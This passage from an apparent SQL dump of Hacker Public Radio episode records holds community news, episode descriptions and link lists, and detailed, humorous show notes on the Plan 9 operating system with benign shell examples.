href=\"https://hackerpublicradio.org/correspondents/0410.html\" target=\"_blank\">Hipernike</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-23:\n\"Thank you for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#2\" target=\"_blank\">Comment 2</a>:\nHipernike on 2023-08-28:\n\"You\'re Welcome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#comments\" target=\"_blank\">hpr3928</a></strong>\n(2023-08-23) \"<em>RE: Klaatu.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-23:\n\"Good Heavens!!\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-08-25:\n\"Good heavens!!!!!!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#comments\" target=\"_blank\">hpr3933</a></strong>\n(2023-08-30) \"<em>Planning for a planner.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-30:\n\"Thank you for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#2\" target=\"_blank\">Comment 2</a>:\nKinghezy on 2023-08-31:\n\"Interesting topic\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"site-migration\">Site Migration</h2>\n<ul>\n<li><p>The process of moving the HPR site to its new location and\nimplementing all of the features has been going on during August:</p>\n<ul>\n<li>Working on updating links on documentation pages</li>\n<li>Moving RSS feeds from the dynamic part of the site to the static\nside</li>\n<li>Making the comment forms work the same as before</li>\n<li>Making tags clickable</li>\n<li>Fixing Unicode problems</li>\n<li>Fixing various small bugs like the calculation of when to show the\n\"Call for shows\" message\"\"</li>\n</ul></li>\n<li><p>There are a number of problems yet to be tackled:</p>\n<ul>\n<li>Making links to pictures and other supplementary files work</li>\n<li>Making links in comments clickable</li>\n</ul></li>\n<li><p>We have had a number of very helpful problem reports, mainly\nthrough the <code>#HPR</code> channel on Matrix.</p></li>\n<li><p>It\'s also possible to raise issues on the Gitea site at <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator/issues\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator/issues</a>,\nthough it\'s necessary to have a username on the site before this can be\ndone.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3666,'2022-08-22','One Weird Trick',997,'I talk about getting into or advancing in cybersecurity & how keyboards could trick malware.','<p>In this episode, I talk about getting in to the field of cybersecurity or moving up in the field. I also talk about how keyboards could keep malware from going Boom on your system.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Try This One Weird Trick Russian Hackers Hate<br />\n<a href=\"https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/\" class=\"uri\">https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/</a></p></li>\n<li><p>Fake VM Sandbox artifacts - not talked about in this episode<br />\n<a href=\"https://github.com/NavyTitanium/Fake-Sandbox-Artifacts\" class=\"uri\">https://github.com/NavyTitanium/Fake-Sandbox-Artifacts</a></p></li>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,malware, career',0,0,1),
(3669,'2022-08-25','My First Podcast: My Journey into the Computer World',1207,'How I was introduced into computers, Linux, robotics, programming, cibersecurity and more...','<h1 id=\"milestones-in-my-journey\">Milestones in my Journey</h1>\n<ol>\n<li>Studied Windows office and played online games</li>\n<li>Electronics</li>\n<li>Programming with Scratch</li>\n<li>Studied Javascript with Khan Academy</li>\n<li>Used Processing</li>\n<li>Learned Arduino and robotics</li>\n<li>Programmed with Visual Studio Code</li>\n<li>Learned Git</li>\n<li>Learned Windows Batch, VBS, registry, and others</li>\n<li>Introduction to Linux and disks with Tails</li>\n<li>Installation of Linux mint</li>\n<li>Installation of Debian</li>\n<li>Learned Apt, sudo, and other commands</li>\n<li>Discovered the Raspberry Pi</li>\n<li>Learned ssh, vnc, servers and networking with the Raspberry Pi</li>\n<li>Received a Thinkpad laptop and installed on it Bodhi Linux, Linux Lite and Alpine Linux</li>\n<li>Learned about erasure, recovery and encryption of data</li>\n<li>Learned more about Linux (Screen, network configuration, emacs, programming in C)</li>\n<li>Discovered <a href=\"https://nethackwiki.com/wiki/NetHack\">Nethack</a> and <a href=\"https://gitlab.com/esr/open-adventure\">Open Adventure</a> console games</li>\n<li>Studied hacking and pentesting</li>\n<li>Helped a company with its computers and learned from it guys</li>\n<li>Introduction to Python and BSD</li>\n</ol>\n',410,29,0,'CC-BY-SA','linux, programming, cibersecurity, robotics, hardware',0,0,1),
(3678,'2022-09-07','\"Stupid Users\" ... no, not those users, the other \"stupid users\"',907,'Brady & I discuss stupid things done by those of us who really should know better.','<p>In this week\'s episode, I chat with R. Brady Frost about the little plumber vs the gigantic rock. Then we move in to a discussion about the fallacy of stupid users with some great stories of stupid things done by those of us who really should know better. The moral of the story, is that we are all human and nothing will ever change that. Instead, we need to be prepared for when humans are human.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,users,stupid human tricks,customer service',0,0,1),
(3689,'2022-09-22','Linux Inlaws S01E65: TerminusDB',4071,'TerminusDB NoSQL database','<p>As part of the effort of turning the planet\'s premier Rust marketing podcast into a full-blown NoSQL show, in this episode Chris hosts some of the key people behind a NoSQL database called TerminusDB (Martin couldn\'t make it as he was firing, um, re-organising the Inlaw\'s marketing department once again). Luke (the CEO) and Gavin (CTO) of TerminusDB spill the beans on the history of the project, ontologies and why they still matter not only in a mobile-first world and why a website called DB Engines simply doesn\'t do the trick (putting it very diplomatically). Never mind the road ahead... (including quantum AI and some other fancy stuff - you heard it here first!). And also next week\'s lotto numbers (perhaps).</p>\n<h2>Links:</h2>\n<ul>\n<li>Trinity College Dublin: <a href=\"https://tcd.ie\" target=_blank>https://tcd.ie</a></li>\n<li>TerminusDB: <a href=\"https://terminusdb.com\" target=_blank>https://terminusdb.com</a></li>\n<li>TerminusDB on Github: <a href=\"https://github.com/terminusdb/terminusdb\" target=_blank>https://github.com/terminusdb/terminusdb</a></li>\n<li>Seshat: <a href=\"http://seshatdatabank.info\" target=_blank>http://seshatdatabank.info</a></li>\n<li>DBpedia: <a href=\"https://www.dbpedia.org\" target=_blank>https://www.dbpedia.org</a></li>\n<li>Terminus @ Isaac Asimov: <a href=\"https://en.wikipedia.org/wiki/Foundation_series\" target=_blank>https://en.wikipedia.org/wiki/Foundation_series</a></li>\n<li>RDFs: <a href=\"https://www.w3.org/TR/rdf11-concepts\" target=_blank>https://www.w3.org/TR/rdf11-concepts</a></li>\n<li>HDT: <a href=\"https://www.rdfhdt.org/what-is-hdt\" target=_blank>https://www.rdfhdt.org/what-is-hdt</a></li>\n<li>Rust episode (S01E53): <a href=\"http://hackerpublicradio.org/eps.php?id=3569\" target=_blank>http://hackerpublicradio.org/eps.php?id=3569</a></li>\n<li>Open source licenses episode (S01E536): <a href=\"https://hackerpublicradio.org/eps.php?id=3399\" target=_blank>https://hackerpublicradio.org/eps.php?id=3399</a></li>\n<li>TerminusDB @ Social: <a href=\"https://terminusdb.com/community\" target=_blank>https://terminusdb.com/community</a></li>\n<li>AI Infrastructure Alliance: <a href=\"https://ai-infrastructure.org\" target=_blank>https://ai-infrastructure.org</a></li>\n<li>Google\'s Carbon: <a href=\"https://github.com/carbon-language/carbon-lang\" target=_blank>https://github.com/carbon-language/carbon-lang</a></li>\n<li>When we cease to understand the world: <a href=\"https://en.wikipedia.org/wiki/Benjam%C3%ADn_Labatut#When_We_Cease_to_Understand_the_World\" target=_blank>https://en.wikipedia.org/wiki/Benjamín_Labatut#When_We_Cease_to_Understand_the_World</a></li>\n<li>Substack: <a href=\"https://benn.substack.com\" target=_blank>https://benn.substack.com</a></li>\n<li>Chi-Raq: <a href=\"https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','TerminusDB, graph databases, Seshat, Rust, Carbon by Google, Substack',0,0,1),
(3671,'2022-08-29','Response to Episode 3655, \"BSD for Linux Users\"',674,'Claudio responds to binrc\'s episode on BSD for Linux Users and rambles on about other BSD stuff.','<h2 id=\"my-geeeky-experiment-blog-posts\">My gEeeky Experiment blog posts:</h2>\n<ul>\n<li>Part 1: <a href=\"https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/</a></li>\n<li>Part 2: <a href=\"https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/</a></li>\n<li>Part 3: <a href=\"https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/</a></li>\n</ul>\n<h2 id=\"my-geeeky-experiment-hpr-episodes\">My gEeeky Experiment HPR Episodes:</h2>\n<ul>\n<li>Part 1: <a href=\"https://hackerpublicradio.org/eps.php?id=3383\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3383</a></li>\n<li>Part 2: <a href=\"https://hackerpublicradio.org/eps.php?id=3418\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3418</a></li>\n<li>Part 3: <a href=\"https://hackerpublicradio.org/eps.php?id=3527\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3527</a></li>\n</ul>\n<ul>\n<li>Blog post about my Evoo laptop (and then some): <a href=\"https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/\" class=\"uri\">https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/</a></li>\n</ul>\n',152,0,1,'CC-BY-SA','bsd, openbsd, freebsd, netbsd, binrc, response, unix',0,0,1),
(3673,'2022-08-31','Recording for Hacker Public Radio',1066,'My experiences recording episodes of HPR','<ul>\n<li>How I\'ve recorded episodes:\n<ul>\n<li>iPhone 7 with Apple earbuds</li>\n<li>Zoom H1 Handy Recorder</li>\n<li>Sennheiser MB Pro 2 with <a href=\"https://gitlab.com/norrist/solocast\">Solocast</a></li>\n<li>Google Pixel 3 with the Dolby On app</li>\n</ul></li>\n<li>What is the compressor, and how to use it.</li>\n<li>What is the EQ, and how to use it.</li>\n<li>Environment, noise and reverberation</li>\n<li>Warming up, breathing</li>\n</ul>\n<p>Episodes referenced here:<br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3625\">hpr3625 :: Shell Tips and Snippets - Collaborative Effort hosted by Carl</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3496\">hpr3496 :: How I record HPR Episodes</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=1342\">hpr1342 :: Power Tool Drag Racing! hosted by MrGadgets</a></p>\n<p>All the information in this show is just what I have learned and what I think. Let us know if you have learned other things by recording your own show!</p>\n',399,45,0,'CC-BY-SA','\"sound editing\"',0,0,1),
(3675,'2022-09-02','Plan 9: An exercise in futility',4771,'I talk about the design of Plan 9 and how I use it','<h1 id=\"plan-9-an-exercise-in-futility\">Plan 9: An exercise in futility</h1>\n<h5 id=\"it-is-my-right-to-exercise-my-futility-wherever-whenever-and-with-whoever-i-please\">It is my right to exercise my futility wherever, whenever, and with whoever I please</h5>\n<h1 id=\"some-ideas-about-plan-9\">Some ideas about Plan 9:</h1>\n<blockquote>\n<p>It\'s like the uncanny valley of UNIX</p>\n</blockquote>\n<blockquote>\n<p>Cool, but useless</p>\n</blockquote>\n<blockquote>\n<p>Can you sum up plan 9 in layman\'s terms? It does everything Unix does only less reliably - Ken Thompson</p>\n</blockquote>\n<blockquote>\n<p>If you cannot imagine a use for a computer that does not involve a web browser, Plan 9 may not be for you - 9front FQA</p>\n</blockquote>\n<blockquote>\n<p><code>#d/0:28: null list in concatenation</code></p>\n</blockquote>\n<h1 id=\"history-and-description\">History and description</h1>\n<p>The boys at bell labs decide UNIX wasn\'t good enough so they decided to build something better: a distributed multiuser operating system composed of many machines. Many of the same ideas behind UNIX were pushed to absurd extremes. The idea that \"everything is a file\" is made blatantly apparent to everyone and sometimes, in my opinion, can feel \'overly-abstracted\'. Additionally, the concept of private namespaces makes the concept of virtual filesystems seem like \'baby\'s first filesystem abstraction\'.</p>\n<p>Just like UNIX, 9 started as a research operating system. Both are enjoyed by hobbyists, both are interesting ways of using a computer, both have a lot of fun in store. But the systems do diverge in one major aspect: UNIX is mainstream and 9 is still a research operating system. Plan 9 is currently distributed under the MIT license.</p>\n<p>\"What is plan 9?\", Taken directly from <code>intro(1)</code>:</p>\n<blockquote>\n<p>Plan 9 is a distributed computing environment assembled from separate machines acting as terminals, CPU servers, and file servers. A user works at a terminal, running a window system on a raster display. Some windows are connected to CPU servers; the intent is that heavy computing should be done in those windows but it is also possible to compute on the terminal. A separate file server provides file storage for terminals and CPU servers alike.</p>\n</blockquote>\n<p>In practice, modern 9 users just run all of these services on a single machine because maintaining many machines to achieve a single usable \'operating system\' is unnecessary; the 9 user finds himself scared and alone without enough users (1 is rarely enough) to justify building a distributed environment.</p>\n<h1 id=\"use-cases\">Use cases</h1>\n<p>Intended: distributed multiuser network (ie not mainframe), later embedded since UNIX was too bad to be stopped</p>\n<p>Actual: Acting like a UNIX hipster, pretending that 9 is anything other than vaporware, imagining that you are gaining social credit by posting screenshots of abandonware on internet forums. See also: Operating System Tourism</p>\n<h1 id=\"9-in-the-wild\">9 in the wild</h1>\n<ul>\n<li>Unicode is now a plague</li>\n<li>rfork</li>\n<li>9p\n<ul>\n<li>leveraged by microsoft to discourage end users from actually running GNU+Linux as St Ignucius intended</li>\n<li>QEMU\'s VirtFS</li>\n</ul></li>\n<li>various window managers for UNIX, written by people who like the ideas behind 9 but not enough to actually run 9</li>\n<li>\"cool idea, I\'m adding it to Linux\"</li>\n</ul>\n<ul>\n<li>private namespaces</li>\n<li>union directories</li>\n<li>see: docker</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<p>The goal of 9 was to build a distributed operating system that expands upon Unixy ideas, <strong>not</strong> to build something that\'s backwards compatible. \"We want to improve UNIX\" is mutually exclusive to \"we want to port UNIX to this wacky new kernel\". UNIX programs (and behemoths like FireFox) are difficult^impossible to port to 9 because of this design decision.</p>\n<h2 id=\"distributed-operating-systems\">Distributed operating systems</h2>\n<p>Since 9 was designed to be a distributed operating system, many of the internals are oriented towards networking. On a single system installation, all three of the components that make a 9 network are working together in a client-server model. The filesystem is presented as a service, the CPU is presented as a service, and the terminal is presented as a service. This type of \"abstraction from the physical hardware\" makes it difficult to succinctly describe and explain 9.</p>\n<p>If you think about 9 as a heterogeneous network of machines the ideas start to make sense. If you think about 9 as a self-contained single-machine operating system the ideas only become more confusing.</p>\n<p>One thing that has helped me wrap my head around the client/server idea is actually thinking less. When running a MySQL server in a LAMP stack, the database server and client are running on the same machine. When writing a program, you instruct the client to access the database located at the address <code>localhost</code>. Despite the design intention to run the database as a separate machine, loopback device hacks ensue. The idea of client/server permeates 9.</p>\n<p>The filesystem? Presented as a server regardless of what physical machine it\'s located on. The CPU? Presented as a server regardless of what physical machine it\'s located on. The terminal? Presented as a server regardless of the physical machine it\'s located on.</p>\n<p>On a single machine 9 installation, all of these servers are running locally but accessed <em>as if</em> they were running remotely. Insanity ensues but at least it\'s easier to write code for.</p>\n<h2 id=\"9p-the-plan-9-filesystem-protocol\">9p: the Plan 9 Filesystem Protocol</h2>\n<p>9p is a networking protocol that makes this client/server model possible. Internally, the filesystem is served to the client over 9p. Many applications make use of 9p, including text editors, windowing systems, plumber, etc. In UNIX, everything is a file. In 9, everything is a filesystem accessed via 9p.</p>\n<h2 id=\"private-namespaces-union-directories\">Private Namespaces, Union Directories</h2>\n<p>The most important aspect of 9: namespaces.</p>\n<p>Namespaces have caused me much confusion until recently. In 9, each process constructs a unique view of the filesystem. The phrase that gets stuck in my head is \"a private namespace is a per-process view of the filesystem\". The easiest way to think about namespaces is to think about a \"virtual directory\". Unix has \"virtual filesystems\", 9 has \"virtual directories\".</p>\n<p>The concept of namespaces allows a user to pull resources from all over the network and present them as \"a single local filesystem\" with absolute disregard for where these resources are actually coming from. In order to construct a namespace, union directories are used. A union directory is a directory made of several directories bound to the same directory. This concept is similar to a bind mount on UNIX.</p>\n<p>The kernel keeps separate mount table for each process. Using namespaces, a user or admin can create more secure isolated environments (similar to a chroot).</p>\n<p>Processes and their children are grouped together so that inheritance of the namespace occurs. These process groups can be customized.</p>\n<hr />\n<p>The \'per-process namespace\' concept can be confusing to UNIX users at first, especially when binding (ie mounting) resources. When I first started using 9 I was very confused when I bound something in one terminal, switched to another, then became disoriented as the thing I just bound seemingly stopped existing. My big example is mounting the boot partition or a filesystem over ssh:</p>\n<pre class=\"sh\"><code># In this window, I have bound the boot partition.\n# It behaves expectedly.\nterm% 9fs 9fat\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\n9bootfat        9pc64           oldplan9.ini    plan9.ini\n9pc             efi/            pbs.bak\nterm%\n</code></pre>\n<pre class=\"sh\"><code># In this other window, the boot partition doesn&#39;t seem to be mounted.\n# This causes much confusion for the end user.\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\nterm%\n</code></pre>\n<hr />\n<h1 id=\"files\">Files</h1>\n<p>The second most important aspect of 9: \"Everything is a file\" taken to absurdist absolutes. The kernel presents hardware devices as files bound to /dev. Within the namespace, devices are just files. Outside the namespace, devices are named with a leading <code>#</code> to help distinguish between pseudo-files and devices. These physical devices are bound to <code>/dev/</code> and presented as files for easy administration, access, and programming. Presenting everything as a file accessible via 9p greatly reduces the total number of system calls.</p>\n<hr />\n<p>Examples of \"Everything is a file\":</p>\n<pre class=\"sh\"><code># The clipboard in 9 is called /dev/snarf\n# We can easily write and read from this clipboard\nterm% cat /dev/snarf\nSYNOPSIS\n#include &lt;u.h&gt;\n\n#include &lt;libc.h&gt;\n\n#include term%\nterm% fortune &gt; /dev/snarf\nterm% cat /dev/snarf\nIf at first you succeed, try to hide your astonishment.\nterm%\n</code></pre>\n<pre class=\"sh\"><code># The display in 9 is called /dev/screen\n# We can easily take a screenshot\nterm% file /dev/screen\n/dev/screen: plan 9 image, depth 32, size 1366x768\nterm% cat /dev/screen | topng &gt; screenshot.png\nterm% file screenshot.png\nscreenshot.png: PNG image\nterm%\n</code></pre>\n<hr />\n<h2 id=\"message-oriented-filesystem\">Message oriented filesystem</h2>\n<p>Continuing with the idea that \"everything is a filesystem\", processes can offer services to other processes by placing virtual files into other processes\' namespaces. File I/O on this special virtual file becomes interprocess communication. This is similar to a UNIX socket but significantly less difficult to program against because all of the hard parts have been abstracted: it\'s just simple file I/O.</p>\n<h2 id=\"virtual-filesystem-with-more-special-files\">Virtual filesystem (with more special files)</h2>\n<p>The <code>/proc</code> filesystem presents processes as a files in a filesystem. This makes writing programs that manage process extremely easy by reducing the total number of system calls to simple file I/O. The <code>/proc</code> filesystem allows users to manage processes using standard command line utilities like <code>cat(1)</code> and <code>ls(1)</code>.</p>\n<p>Linux borrowed the idea of a <code>/proc</code> filesystem.</p>\n<h2 id=\"unicode\">Unicode</h2>\n<p>Although the implementation is not fully internationalized, UTF-8 is fully there. Unicode is fully backwards compatible with ASCII. Thanks to &#x2468;, we now have people writing exclusively with primitive hieroglyphics instead of words.</p>\n<h2 id=\"portability\">Portability</h2>\n<p>Just like UNIX, 9 was designed with portability in mind. 9 is written in a strange dialect of ANSI C which means it\'s portable. Although the system is self hosting, images are rarely built on a self hosting environment. Instead, the end user will download a generic amd64 or i386 image, cross compile for the obscure target architecture, wrap it up in an install image, then burn that image to an install disk. After installation, it is generally a good idea to recompile the entire operating system so that your copy is self-hosted.</p>\n<p>The compiler suite is quite clever in that each compiler is named according to the target architecture, the object files are named according to the target architecture, etc. The alnum prefix/extensions are also shared by the various linkers and assemblers.</p>\n<pre><code>0c spim    little-endian MIPS 3000 family\n\n1c 68000   Motorola MC68000\n\n2c 68020   Motorola MC68020\n\n5c arm     little-endian ARM\n\n6c amd64   AMD64 and compatibles (e.g., Intel EM64T)\n\n7c arm64   ARM64 (ARMv8)\n\n8c 386     Intel i386, i486, Pentium, etc.\n\nkc sparc   Sun SPARC\n\nvc mips    big-endian MIPS 3000 family\n</code></pre>\n<h2 id=\"filesystems\">Filesystems</h2>\n<p>Multiple filesystems are supported, most suck. The only one the average tourist has heard of is FAT. The one I use is <code>cwfs64x(4)</code>. cwfs is a strange filesystem. Every night, it makes a dump of the filesystem. You can access these dumps by running:</p>\n<pre class=\"sh\"><code>9fs dump\ncd /n/dump/YYYY/MMDD/\n</code></pre>\n<p>And, managing the file server (trying to uncorrupt cwfs), all while the kernel is spraying error messages</p>\n<pre><code>term% con -C /srv/cwfs.cmd\nhelp\ncheck tag\ncheck ream\ncheck free\ncheck\n</code></pre>\n<p>After my system crashes, and after consulting <code>fs(8)</code>, the above commands seem to solve my corruption problems. Not always. But sometimes.</p>\n<p>The cache is a WORM: Write Once Read Many filesystem. Traditionally, the \"fast\" hard drives would be backed up to tape archives. In the modern era, we have a WORM partition. The worm partition stores data forever so it will eventually get full and need cleaning. It is possible to run without a WORM but it\'s a bad idea. Built in version control.</p>\n<p>Data integrity not guaranteed.</p>\n<h2 id=\"secstore\">Secstore</h2>\n<p>stores various passwords to nvram. BIOS integrety not gauranteed. If you don\'t like thrashing the nvram and it\'s limited write ops, an partition can be created and mouted as if it were nvram.</p>\n<h2 id=\"factotum\">Factotum</h2>\n<p>stores various passwords in memory (like ssh-agent)</p>\n<h1 id=\"known-forks\">Known forks</h1>\n<ul>\n<li><p>Dead:</p>\n<ul>\n<li><a href=\"https://p9f.org/\">Plan 9 From Bell Labs (also called \'Labs 9\', the original)</a></li>\n<li><a href=\"https://web.archive.org/web/20201111224911/http://www.9atom.org/\">9atom (even the domain has expired)</a></li>\n<li><a href=\"http://akaros.org\">Akaros </a></li>\n<li><a href=\"https://harvey-os.org/\">Harvey (attempt to port 9 to GCC/Clang)</a></li>\n<li><a href=\"https://lsub.org/nix/\">NIX </a></li>\n<li><a href=\"http://jehanne.io/\">jehanneOS </a></li>\n<li><a href=\"https://github.com/jvburnes/node9\">node9 </a></li>\n<li><a href=\"https://www.vitanuova.com/inferno/\">inferno (in permanent limbo)</a></li>\n</ul></li>\n<li><p>Life Support:</p>\n<ul>\n<li><a href=\"https://9front.org\">9front (actively developed, many QOL patches)</a></li>\n<li><a href=\"http://www.9legacy.org/\">9legacy (patches applied to Labs9)</a></li>\n<li><a href=\"https://9fans.github.io/plan9port/\">Plan 9 From User Space (also called \'plan9port\', you will be laughed at)</a></li>\n</ul></li>\n</ul>\n<p><a href=\"https://9front.org\">9front</a> is really the only \'usable\' one because the QOL modifications add important things like general stability, git client, mercurial, ssh, various emulators, audio, WiFi, and USB support.</p>\n<h1 id=\"using-9\">Using 9</h1>\n<p>What does the 9 experience actually look like in 2022? You put 9 in a VM, posted a screenshot, shutdown the VM, then continued using Ubuntu because you can\'t play video games or easily watch videos online in 9.</p>\n<p>Hardware support in 9front is expanding but still limited. <a href=\"http://plan9.stanleylieber.com/hardware/\">Refer to the list of supported hardware.</a> I run 9front on a Thinkpad x220 and it seems to just work. Some people run it on a Raspi but I\'m not sure why. It works quite well with KVM and QEMU if you\'re an OS tourist. I see no reason to add a dmesg because it will either work or it won\'t.</p>\n<h1 id=\"available-software\">Available software</h1>\n<p>GNU might not be UNIX but 9 isn\'t even trying to be UNIX-like.</p>\n<h2 id=\"gui\">GUI</h2>\n<p>Unlink UNIX, 9 was designed with graphics in mind. Some people have said that the 9 GUI looks similar to a smalltalk machine but I think it\'s just the only good stacking window manager. A three button mouse is necessary for using 9front. Shift-rightclick emulates middle click.</p>\n<h3 id=\"rio\">Rio</h3>\n<p>Rio is the Plan 9 windowing system. It\'s the successor to 8&#xBD; window manager. Rio is lightweight compared to X11 because access to graphical hardware is built into the kernel and using files+namespaces to access input devices.</p>\n<p>The most brief way of explaining rio is to think of it as a rectangle multiplexer, where each rectangle is served a file interface (9p). Although rectangles might seem counterintuitive at first, thinking less hard makes it easier to use. I still have difficulty efficiently using a mouse-centric interface after using terminal interfaces almost exclusively for many years. I dislike the windows way of using a mouse but the 9 way seems to make quite a lot of sense when I \"think less hard\" and allow the intuition to take control.</p>\n<p>The argument for mouse-centric computing and text editing is that it\'s faster. Of course, the average vim user is editing text faster than the speed of thought but most people aren\'t the average vim user. Instead, they only know how to use arrow keys to move a cursor. Without memorizing hundreds of vim bindings (and forgetting the names and birth dates of your family members in the process), obviously a mouse is faster.</p>\n<p>Mouse controls are confusing at first because they follow the \"click and hold, hover to option, release\" to select an option. They look something like follows:</p>\n<ul>\n<li>Right click (window management controls)\n<ul>\n<li>New</li>\n<li>Resize</li>\n<li>Move</li>\n<li>Delete</li>\n<li>Hide</li>\n</ul></li>\n<li>Middle click (text manipulation controls)\n<ul>\n<li>cut</li>\n<li>paste</li>\n<li>snarf (copy highlighted text)</li>\n<li>plumb (send highlighted text to process, or, more effectively: open file with appropriate program)</li>\n<li>look (search for highlighted text)</li>\n<li>send (run highlighted text as a shell command)</li>\n<li>scroll (toggle autoscroll/noautoscroll)\n<ul>\n<li>The left click button is used to select text and windows.</li>\n</ul></li>\n</ul></li>\n</ul>\n<p>The concept of mouse-chording is also prominent in rio but it\'s even more difficult to explain without a visual demonstration.</p>\n<p>Rio and it\'s windows also support UNIX style keyboard shortcuts:</p>\n<ul>\n<li>^-u deletes from cursor to start of line</li>\n<li>^-w deletes word before cursor</li>\n<li>^-h deletes the character before the cursor</li>\n<li>^-a moves the cursor to the start of the line</li>\n<li>^-e moves the cursor to the end of the line</li>\n<li>^-b moves the cursor back to the prompt</li>\n<li>^-f is the autocomplete key, functionally equivalent to tab completion</li>\n<li>^? (DEL key) is the equivalent to ^-c on UNIX</li>\n</ul>\n<p>Additionally, in a text window, the arrow keys and PgUp/PgDown keys behave as expected. The home/end keys scroll the window to the top/bottom of the text buffer respectively.</p>\n<p>These text windows have a built in pager so there is no <code>more</code> or <code>less</code> command. I can\'t decide if I like built in paging but it\'s definitely a thing to think about.</p>\n<p>The colorscheme of rio is dull and pastel and this is intentional. Less vibrant color schemes seem to fade away and become less obvious. Color themes like Tango, Linux Console, Solarized, all of KDE, and WIndows XP are very obvious but not in a good way. Bright colors are subtly distracting and make it difficult to concentrate. When I\'m configuring a UNIX system with dwm, I borrow Rio\'s color theme because it\'s an anti-theme. Give it time. It\'s charming in it\'s own way. Modifying the source code for rio allows for custom color themes. It\'s possible but you will be laughed at. Setting a wallpaper is also possible but I don\'t do this because my windows are always covering the dull gray background.</p>\n<p>As for X11, the equis X11 server can only be run via linux compat layers. The lack of a viable X server is yet another reason 9 has no programs.</p>\n<h2 id=\"command-line-utilities\">Command Line Utilities</h2>\n<p>The shell on 9 is called <code>rc(1)</code>. It\'s like any other shell you\'ve used except that you expect it to be bourne-like but it isn\'t. Standard UNIX shell concepts like pipes, file redirects, &amp;&amp; and ||, etc. Scripting is not POSIX-like at all so reading the man page and various scripts written in <code>rc</code> is the only way to learn.</p>\n<p>Other various UNIX utilities exist and function as expected (although some of the ones you would like are missing). <code>awk</code>, <code>grep</code>, <code>sed</code>, <code>cat</code>, <code>tar</code>, <code>gzip</code>, <code>ed</code>, etc are present.</p>\n<h2 id=\"editors\">Editors</h2>\n<p>There are three primary ways of editing text 